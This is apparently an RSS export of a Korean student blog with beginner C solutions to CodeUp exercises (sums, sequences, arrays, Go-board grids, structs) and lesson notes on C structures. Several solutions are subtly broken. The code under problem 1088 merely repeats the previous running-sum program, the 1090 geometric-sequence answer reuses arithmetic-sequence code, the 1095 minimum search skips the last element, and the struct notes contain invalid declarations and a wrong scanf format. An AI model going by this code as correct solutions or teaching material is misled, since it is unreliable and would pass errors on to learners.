<h3 id="풀이-85">풀이</h3>
<p>1~n까지 반복하여 더하고 조건문을 통해 입력된 값보다 커지거나 같아지는 순간의 값을 판단하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i;
    int s = 0;
    scanf(&quot;%d&quot;, &amp;n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s &gt;= n)
            break;
    }

    printf(&quot;%d&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1088--기초-종합-3의-배수는-통과설명">1088 : [기초-종합] 3의 배수는 통과?(설명)</h2>
<h3 id="입력-86">입력</h3>
<p>10</p>
<h3 id="출력-86">출력</h3>
<p>1 2 4 5 7 8 10</p>
<h3 id="풀이-86">풀이</h3>
<p>1부터 시작하여 입력받은 수까지 반복
조건문으로 판단하여 3으로 나누어떨어질 경우 출력 제외</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i;
    int s = 0;
    scanf(&quot;%d&quot;, &amp;n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s &gt;= n)
            break;
    }

    printf(&quot;%d&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1089--기초-종합-수-나열하기1">1089 : [기초-종합] 수 나열하기1</h2>
<h3 id="입력-87">입력</h3>
<p>1 3 5</p>
<h3 id="출력-87">출력</h3>
<p>13</p>
<h3 id="풀이-87">풀이</h3>
<p>반복문을 활용, 시작값부터 등차값을 계산하여 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);
    int arr[100];

    for (int i = 0; i &lt; c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf(&quot;%d&quot;, arr[c-1]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1090--기초-종합-수-나열하기2">1090 : [기초-종합] 수 나열하기2</h2>
<h3 id="입력-88">입력</h3>
<p>2 3 7</p>
<h3 id="출력-88">출력</h3>
<p>1458</p>
<h3 id="풀이-88">풀이</h3>
<p>반복문을 활용, 시작값부터 등비값을 계산하여 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);
    int arr[100];

    for (int i = 0; i &lt; c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf(&quot;%d&quot;, arr[c-1]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1091--기초-종합-수-나열하기3">1091 : [기초-종합] 수 나열하기3</h2>
<h3 id="입력-89">입력</h3>
<p>1 -2 1 8</p>
<h3 id="출력-89">출력</h3>
<p>-85</p>
<h3 id="풀이-89">풀이</h3>
<p>반복문을 활용, 시작 값 a에 m을 곱하고 d를 더한 수열의 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int a, m, d, n;
    scanf(&quot;%ld %lld %lld %lld&quot;, &amp;a, &amp;m, &amp;d, &amp;n);

    for (int i = 0; i &lt; n-1; i++) {
        a *= m;
        a += d;
    }

    printf(&quot;%lld&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1092--기초-종합-함께-문제-푸는-날설명">1092 : [기초-종합] 함께 문제 푸는 날(설명)</h2>
<h3 id="입력-90">입력</h3>
<p>3 7 9</p>
<h3 id="출력-90">출력</h3>
<p>63</p>
<h3 id="풀이-90">풀이</h3>
<p>입력된 세 수의 최소공배수를 구하는 프로그램 작성
모든 수가 나누어떨어지는 가장 작은 수를 반복문과 조건문을 통해 탐지</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int a, b, c;
    int i = 0;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);

    while(true)
    {
        i++;

        if ((i % a == 0) &amp;&amp; (i % b == 0) &amp;&amp; (i % c == 0)) {
            printf(&quot;%d&quot;, i);
            break;
        }

    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1093--기초-1차원배열-이상한-출석-번호-부르기1설명">1093 : [기초-1차원배열] 이상한 출석 번호 부르기1(설명)</h2>
<h3 id="입력-91">입력</h3>
<p>10
1 3 2 2 5 6 7 4 5 9</p>
<h3 id="출력-91">출력</h3>
<p>1 2 1 1 2 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-91">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
불린 인덱스 값의 출석번호에 1을 더함 </p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, i, t;
    int a[24]={};
    scanf(&quot;%d&quot;, &amp;n);
    for(i=1; i&lt;=n; i++) {
        scanf(&quot;%d&quot;, &amp;t);
        a[t]=a[t]+1; 
    }

    for(i=1; i&lt;=23; i++) {
        printf(&quot;%d &quot;, a[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1094--기초-1차원배열-이상한-출석-번호-부르기2설명">1094 : [기초-1차원배열] 이상한 출석 번호 부르기2(설명)</h2>
<h3 id="입력-92">입력</h3>
<p>10
10 4 2 3 6 6 7 9 8 5</p>
<h3 id="출력-92">출력</h3>
<p>5 8 9 7 6 6 3 2 4 10</p>
<h3 id="풀이-92">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
입력받은 값을 인덱스 출력을 이용해 뒤집어서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, i;
    int a[10001]={};
    scanf(&quot;%d&quot;, &amp;n);

    for(i=1; i&lt;=n; i++)
        scanf(&quot;%d&quot;, &amp;a[i]);

    for(i=n; i&gt;=1; i--)
        printf(&quot;%d &quot;, a[i]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1095--기초-1차원배열-이상한-출석-번호-부르기3설명">1095 : [기초-1차원배열] 이상한 출석 번호 부르기3(설명)</h2>
<h3 id="입력-93">입력</h3>
<p>10
10 4 2 3 6 6 7 9 8 5</p>
<h3 id="출력-93">출력</h3>
<p>2</p>
<h3 id="풀이-93">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
입력받은 배열의 인덱스값을 비교하여 가장 작은 수 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, m;
    int a[10001]={};
    scanf(&quot;%d&quot;, &amp;n);

    for(int i=1; i&lt;=n; i++)
        scanf(&quot;%d&quot;, &amp;a[i]);

    m = a[1];
    for(int i=1; i&lt;n; i++) {
        if (a[i] &lt; m) {
            m = a[i];
        }else {

        }
    }
    printf(&quot;%d&quot;, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1096--기초-2차원배열-바둑판에-흰-돌-놓기설명">1096 : [기초-2차원배열] 바둑판에 흰 돌 놓기(설명)</h2>
<h3 id="입력-94">입력</h3>
<p>5
1 1
2 2
3 3
4 4
5 5</p>
<h3 id="출력-94">출력</h3>
<p>1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-94">풀이</h3>
<p>입력받은 회수만큼 반복하여 정수 두 개를 입력받기
입력받은 좌표값의 0을 1로 변경</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[20][20];
    int x, a, b;
    scanf(&quot;%d&quot;, &amp;x);

    for (int i = 1; i &lt; 20; i++)
    {
        for (int j = 1; j &lt; 20; j++)
        {
            arr[i][j] = 0;
        }
    }

    for (int i = 0; i &lt; x; i++)
    {
        scanf(&quot;%d %d&quot;, &amp;a, &amp;b);
        arr[a][b] = 1;
    }

    for (int i = 1; i &lt; 20; i++)
    {
        for (int j = 1; j &lt; 20; j++)
        {
            printf(&quot;%d &quot;, arr[i][j]);
        }

        printf(&quot;\n&quot;);
    }


    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1097--기초-2차원배열-바둑알-십자-뒤집기설명">1097 : [기초-2차원배열] 바둑알 십자 뒤집기(설명)</h2>
<h3 id="입력-95">입력</h3>
<p>0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
2
10 10
12 12</p>
<h3 id="출력-95">출력</h3>
<p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-95">풀이</h3>
<p>19x19 사이즈의 바둑판에 각각 백돌과 흑돌의 위치를 입력받기
입력받은 회수만큼 정수를 두 개씩 입력받기
입력받은 x좌표, y좌표의 돌을 각각 다른색의 돌로 바꿔서 배치
바뀐 바둑판 출력하기</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i, j, x, y;
    int a[20][20]={};
        for(i = 1; i &lt;= 19; i++)
            for(j = 1; j &lt;= 19; j++)
                scanf(&quot;%d&quot;, &amp;a[i][j]);

    scanf(&quot;%d&quot;, &amp;n);

    for(i = 1; i &lt;= n; i++)
    {
        scanf(&quot;%d %d&quot;, &amp;x, &amp;y);
        for(j = 1; j &lt;= 19; j++)
        {
            if(a[x][j]==0)
                a[x][j] = 1;
            else
                a[x][j] = 0;
        }

    for(j=1; j&lt;=19; j++)
        {
            if(a[j][y]==0)
                a[j][y]=1;
            else
                a[j][y] = 0;
        }
    }

    for (i = 1; i &lt;= 19; i++)
    {
        for (j = 1; j &lt;= 19; j++)
        {
            printf(&quot;%d &quot;, a[i][j]);
        }
        printf(&quot;\n&quot;); //줄 바꾸기
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1098--기초-2차원배열-설탕과자-뽑기">1098 : [기초-2차원배열] 설탕과자 뽑기</h2>
<h3 id="입력-96">입력</h3>
<p>5 5
3
2 0 1 1
3 1 2 3
4 1 2 5</p>
<h3 id="출력-96">출력</h3>
<p>1 1 0 0 0
0 0 1 0 1
0 0 1 0 1
0 0 1 0 1
0 0 0 0 1</p>
<h3 id="풀이-96">풀이</h3>
<p>입력받은 크기의 2차원 배열을 모두 0으로 초기화
입력받은 회수만큼 4개의 정수를 입력받기
지정된 규칙에 따라 해당되는 위치를 1로 변경
2차원 배열 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main()
{
    int matrix[100][100] = { 0, };

    int h,w,n,l,d,x,y;

    scanf(&quot;%d %d&quot;,&amp;h,&amp;w);
    scanf(&quot;%d&quot;,&amp;n);

    for(int i = 1; i &lt;= n; i++){
        scanf(&quot;%d %d %d %d&quot;,&amp;l,&amp;d,&amp;x,&amp;y);
        if(d == 0){
            for(int j = 0; j&lt;l; j++){
                matrix[x][y+j] = 1;
            }
        }
        else{
            for(int j = 0; j&lt;l; j++){
                matrix[x+j][y] = 1;
            }
        }
    }

    for (int i = 1; i &lt;= h; i++)
    {
        for (int j = 1; j &lt;= w; j++)
        {
            printf(&quot;%d &quot;, matrix[i][j]);
        }
        printf(&quot;\n&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1099--기초-2차원배열-성실한-개미">1099 : [기초-2차원배열] 성실한 개미</h2>
<h3 id="입력-97">입력</h3>
<p>1 1 1 1 1 1 1 1 1 1
1 0 0 1 0 0 0 0 0 1
1 0 0 1 1 1 0 0 0 1
1 0 0 0 0 0 0 1 0 1
1 0 0 0 0 0 0 1 0 1
1 0 0 0 0 1 0 1 0 1
1 0 0 0 0 1 2 1 0 1
1 0 0 0 0 1 0 0 0 1
1 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1</p>
<h3 id="출력-97">출력</h3>
<p>1 1 1 1 1 1 1 1 1 1
1 9 9 1 0 0 0 0 0 1
1 0 9 1 1 1 0 0 0 1
1 0 9 9 9 9 9 1 0 1
1 0 0 0 0 0 9 1 0 1
1 0 0 0 0 1 9 1 0 1
1 0 0 0 0 1 9 1 0 1
1 0 0 0 0 1 0 0 0 1
1 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1</p>
<h3 id="풀이-97">풀이</h3>
<p>미로상자의 구조를 입력받기
입력받은 미로상자의 2,2 칸에서 시작
오른쪽으로 이동 후, 만약 오른쪽이 1이면 다시 원상복귀
오른쪽과 아래가 모두 1일 경우 중지
2에 닿을 때까지 무한 반복
모든 작업이 수행된 후, 미로상자를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main()
{
    int matrix[11][11] = {};  //[세로][가로]
    for(int j = 1; j&lt;=10; j++ ){
        for(int i = 1; i&lt;=10; i++ ){
            scanf(&quot;%d &quot;,&amp;matrix[j][i]);
        }
    }

    int x,y;
    x = 2;
    y = 2;

    while(1){


        if(matrix[x][y] == 0){
            matrix[x][y] = 9;
            y ++;
        }
        if(matrix[x][y] == 1){
            y --;
            x++;
        }

        if(matrix[x][y] == 2){
            matrix[x][y] = 9;
            break;
        }
        else if(matrix[x][y+1] == 1 &amp;&amp; matrix[x+1][y] == 1){
            if(matrix[x][y] == 0){
                matrix[x][y] = 9;
            }
            break;
        }

    }

    for(int i = 1; i &lt;= 10; i++){
        for(int j =1; j &lt;= 10; j++){
            printf(&quot;%d &quot;,matrix[i][j]);
        }
        printf(&quot;\n&quot;);
    }

    return 0;
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[Layer7_5차시]]></title>
            <link>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Mon, 28 Apr 2025 13:03:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><a href="https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1">5차시 수업정리</a></p>
</blockquote>
<blockquote>
<h1 id="1805--입체기동장치-생산공장">1805 : 입체기동장치 생산공장</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/8d7f2898-d3b8-4571-b2b2-97b48ed0742d/image.png" alt=""></p>
</blockquote>
<h3 id="입력">입력</h3>
<p>첫째 줄에 입체기동장치의 갯수 n이 입력된다. (1 &lt;= n &lt;= 100)
둘째 줄부터 n+1째 줄까지 각 줄에 입체기동장치의 식별번호 a와 가스 보유량 b가 주어진다.
a는 중복 될 수 없지만 b는 중복될 수 있다. (1 &lt;= a &lt;= 100), (0 &lt;= b &lt;= 10,000)</p>
<h3 id="출력">출력</h3>
<p>첫째 줄부터 n번째 줄까지 각 줄에 식별번호를 오름차순으로 정렬해 가스 보유량과 같이 출력한다.</p>
<h3 id="풀이">풀이</h3>
<p>number과 gas를 맴버로 지닌 구조체 device를 만든다.
정수 x와 추후 버블 정렬에 사용될 정수 temp를 선언한다.
정수 x의 값을 첫 번째로 입력받아 구조체 device 배열의 크기를 정의한다.
정의된 크기의 구조체 배열 devices의 number값과 gas값을 전부 입력받는다.
버블정렬을 응용하여 각각의 devices의 number 값을 비교하여 순서를 정리한다.
number의 순서대로 정렬된 devices를 출력한다</p>
<pre><code>#include &lt;stdio.h&gt;

struct device
{
    int number;
    int gas;
};

int main() {
    int x, temp;
    scanf(&quot;%d&quot;, &amp;x);

    // 첫 번째 입력받은 정수만큼의 크기에 구조체 배열 선언
    struct device devices[x];

    // 구조체 변수값 입력
    for (int i = 0; i &lt; x; i++) {
        scanf(&quot;%d %d&quot;, &amp;devices[i].number, &amp;devices[i].gas);
    }

    // 버블 정렬을 이용하여 구조체 순서 정렬
    for (int i = 0; i &lt; x; i++) {
        for (int j = i+1; j &lt; x; j++) {
            if (devices[i].number &gt; devices[j].number) {
                temp = devices[i].number;
                devices[i].number = devices[j].number;
                devices[j].number = temp;

                temp = devices[i].gas;
                devices[i].gas = devices[j].gas;
                devices[j].gas = temp;
            }
        }
    }

    // 정렬된 구조체 출력
    for (int i = 0; i &lt; x; i++) {
        printf(&quot;%d %d\n&quot;, devices[i].number, devices[i].gas);
    }

    return 0;
}</code></pre><blockquote>
<h1 id="4012--석차-계산">4012 : 석차 계산</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/6e5d1170-5d90-45ad-ae25-951b247c6c95/image.png" alt=""></p>
</blockquote>
<h3 id="입력-1">입력</h3>
<p>1) 첫 번째 줄은 처리할 점수의 개수 n ( n &lt;= 200 )
2) 두 번째 줄은 처리할 점수 데이터 (0~100점)
(단, 각각의 점수는 빈칸으로 구별한다.)</p>
<h3 id="출력-1">출력</h3>
<p>석차를 계산한 후 점수와 석차를  출력한다.</p>
<h3 id="풀이-1">풀이</h3>
<p>score와 grade를 맴버로 지닌 구조체 rank를 만든다.
정수 x를 선언한다.
정수 x의 값을 첫 번째로 입력받아 구조체 rank 배열의 크기를 정의한다.
정의된 크기의 구조체 배열 ranks의 score값을 전부 입력받는다.
모든 ranks의 맴버 변수 grade는 초기값으로 1을 받는다.
score값을 비교하며 비교되는 값이 비교하는 값보다 작을때마다 grade를 1씩 추가한다.
구조체 변수 ranks 전부 출력한다.</p>
<pre><code>#include &lt;stdio.h&gt;

struct rank
{
    int score;
    int grade;
};

int main() {
    int x;
    scanf(&quot;%d&quot;, &amp;x);

    // 첫 번째로 입력받은 정수 크기의 구조체 생성
    struct rank ranks[x];

    // 구조체 변수에 값 할당
    for (int i = 0; i &lt; x; i++) {
        scanf(&quot;%d&quot;, &amp;ranks[i].score);
    }

    // 석차 계산
    for (int i = 0; i &lt; x; i++) {
        ranks[i].grade = 1;

        for (int j = 0; j &lt; x; j++) {
            if (ranks[i].score &lt; ranks[j].score) {
                ranks[i].grade++;
            }
        }
    }

    // 점수와 석차 출력
    for (int i = 0; i &lt; x; i++) {
        printf(&quot;%d %d\n&quot;, ranks[i].score, ranks[i].grade);
    }

    return 0;
}</code></pre><blockquote>
<h1 id="창작문제_-회계-관리-시스템">창작문제_ 회계 관리 시스템</h1>
</blockquote>
<h3 id="입력-2">입력</h3>
<p>첫째 줄에 부원의 수 N 이 주어진다. (1 ≤ N ≤ 100)
이후 각 부원의 대해 다음 정보가 주어진다.</p>
<ul>
<li>첫째 줄에는 이름(공백 없음), 학번, 지출 내역의 수 M 이 주어진다. (1 ≤ M ≤ 100)</li>
<li>다음 M 개의 줄에는 각 지출에 대한 항목명(공백 없음), 금액(0 이상 10,000 이하의 정수), 날짜(YYYY-MM-DD 형식)가 주어진다.<h3 id="출력-2">출력</h3>
각 부원의 대해 <strong>이름/학번/총지출</strong> 형식으로 한 줄씩 출력한다.<br>모든 부원의 정보를 출력한 뒤, 한 줄을 띄우고 지출이 가장 많은 부원의 정보를 다음 형식으로 출력한다.
지출 총액이 같은 경우, 먼저 입력된 부원의 출력한다.<h3 id="풀이-2">풀이</h3>
name, number, count, total을 맴버로 갖는 구조체 member와 name, price, data를 맴버로 갖는 구조체 pay를 선언한다.
문제 조건 사항에 <strong>함수 사용</strong>이라는 조건이 존재하였다.</li>
<li><em>따라서 -&gt;(화살표 연산자)를 사용하여 all값에 가격을 더해주는 함수 add를 선언하였다.*</em>
또한 <strong>포인터를 사용하는 조건</strong> 또한 존재하였기에 <strong>구조체 pay 변수를 포인터함수 pays로 선언하였다.</strong></li>
<li><em>동적 메모리를 사용*</em>하여 <strong>members와 pays의 크기를 회원 수(n)과 총 지출 수(count)만큼 반복하여 입력받는다.</strong>
이후 회원별로 지출을 더하여 회원별 총 지출을 출력하고, 최고 지출자를 출력한다.</li>
</ul>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
struct member {
    char name[100];
    int number;
    int count;
    int all;
};

struct pay {
    char name[100];
    int price;
    char day[100];
};

// 총 지출을 계산하는 함수 선언
void add(int price, struct member *member) {
    member-&gt;all += price;
}

int main() {
    int n, max = 0;

    struct member *members;
    struct pay *pays;

    printf(&quot;회원 수를 입력하세요 : &quot;);
    scanf(&quot;%d&quot;, &amp;n);

    members = (struct member *)malloc(sizeof(struct member) * n);

    for (int i = 0; i &lt; n; i++) {
        printf(&quot;\n[%d번째 회원 정보 입력]\n&quot;, i+1);
        printf(&quot;이름 : &quot;);
        scanf(&quot;%s&quot;, members[i].name);
        printf(&quot;학번 : &quot;);
        scanf(&quot;%d&quot;, &amp;members[i].number);
        printf(&quot;지출 내역 수 : &quot;);
        scanf(&quot;%d&quot;, &amp;members[i].count);

        members[i].all = 0; // 총 지출 초기화

        // 구조체 pay 크기의 동적 메모리 할당
        pays = (struct pay *)malloc(sizeof(struct pay) * members[i].count);

        for (int j = 0; j &lt; members[i].count; j++) {
            printf(&quot;\n   [%d번째 지출 내역]\n&quot;, j + 1);
            printf(&quot;   항목명 : &quot;);
            scanf(&quot;%s&quot;, pays[j].name);
            printf(&quot;   금액 : &quot;);
            scanf(&quot;%d&quot;, &amp;pays[j].price);
            printf(&quot;   날짜 (YYYY-MM-DD) : &quot;);
            scanf(&quot;%s&quot;, pays[j].day);

            add(pays[j].price, &amp;members[i]);
        }

        free(pays); // 반복마다 동적 할당 해제
    }

    // 회원별 총 지출 출력
    for (int i = 0; i &lt; n; i++) {
        printf(&quot;\n회원 : %s | 학번 : %d | 총 지출 : %d원\n&quot;, members[i].name, members[i].number, members[i].all);

    }

    // 최고 지출자 탐색
    for (int i = 1; i &lt; n; i++) {
        if (members[i].all &gt; members[max].all) {
            max = i;
        }
    }

    // 최고 지출자 출력
    printf(&quot;\n[최고 지출자]\n&quot;);
    printf(&quot;이름 : %s\n&quot;, members[max].name);
    printf(&quot;학번 : %d\n&quot;, members[max].number);
    printf(&quot;총 지출 : %d원\n&quot;, members[max].all);

    free(members);

    return 0;
}</code></pre><blockquote>
<h3 id="출력결과">출력결과</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/0eff5c28-58e7-4472-a465-94f858e59210/image.png" alt=""></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Layer7_5차시_수업정리]]></title>
            <link>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1</link>
            <guid>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1</guid>
            <pubDate>Mon, 14 Apr 2025 15:03:54 GMT</pubDate>
            <description><![CDATA[<h1 id="416-수업정리">4/16 수업정리</h1>
<h2 id="구조체란">구조체란?</h2>
<p><strong>서로 다른 자료형</strong>을 갖는 <strong>자료들의 집합</strong>이다.</p>
<pre><code>// 구조체 선언 원형
struct 구조체이름
{
변수1_자료형 변수1_이름;
변수2_자료형 변수2_이름;
}</code></pre><h3 id="서로-다른-자료형의-집합">서로 다른 자료형의 집합?</h3>
<p>기존에는 서로 다른 자료형의 변수를 일일이 선언해 주었다.
값 또한 일일이 scanf() 혹은 getchar()을 이용해 할당해 주어야 했다. </p>
<pre><code>// 이름, 과목, 점수를 받을 변수 선언
char name[];
char subject[];
double score;

// 변수에 값을 할당
scanf(&quot;%s&quot;, name);
scanf(&quot;%s&quot;, subject);
scanf(&quot;%.1lf&quot;, &amp;score);</code></pre><p>하지만 이러한 과정을 구조체 하나를 선언하여 단순화시킬 수 있다.</p>
<pre><code>// 이름, 과목, 점수를 지닌 구조체 선언
struct student        // &quot;student&quot;라는 구조체 선언
{
    char name[];
    char subject[];
    double score;
} s;                // 구조체 변수 &quot;s&quot; 선언

// 구조체 변수 초기화
struct student s = {이름, 과목, 점수}</code></pre><h3 id="구조체-선언-시-주의할-점">구조체 선언 시, 주의할 점</h3>
<ul>
<li>구조체 변수 또한 지역변수와 전역변수의 개념이 존재한다.</li>
<li>배열과 마찬가지로 초기값을 할당받지 못한 경우 0으로 초기화된다.</li>
</ul>
<h3 id="다양한-구조체-맴버">다양한 구조체 맴버</h3>
<h4 id="배열">배열</h4>
<ul>
<li>문자열과 마찬가지로 사용 가능하다.<h4 id="포인터">포인터</h4>
</li>
<li>구조체의 맴버로 포인터 변수도 선언 가능하다.</li>
</ul>
<h3 id="typedef를-통한-구조체-재정의">typedef를 통한 구조체 재정의</h3>
<pre><code>// 구조체 선언 후, &quot;NUM&quot;으로 재정의
struct num
{
    num1;
    num2;
}NUM;

typedef struct num NUM;</code></pre><pre><code>// 구조체를 선언하며, &quot;NUM&quot;으로 재정의
typedef struct num
{
    num1;
    num2;
}NUM;</code></pre><h3 id="구조체-배열">구조체 배열</h3>
<pre><code>// 구조체 변수를 배열 형식으로 선언
struct num
{
    num1;
    num2;
}s[(정수)];        // 구조체 배열 선언</code></pre><h3 id="구조체-관련-연산자">구조체 관련 연산자</h3>
<p>```
// .(dot) 연산자
. 는 클래스의 멤버를 직접적으로 접근한다.
(구조체 변수 이름).(맴버명)</p>
<p>// -&gt; 연산자
-&gt; 는 포인터를 통해 멤버를 간접적으로 접근한다.
(구조체 포인터)-&gt;(맴버명)</p>
]]></description>
        </item>
    </channel>
</rss>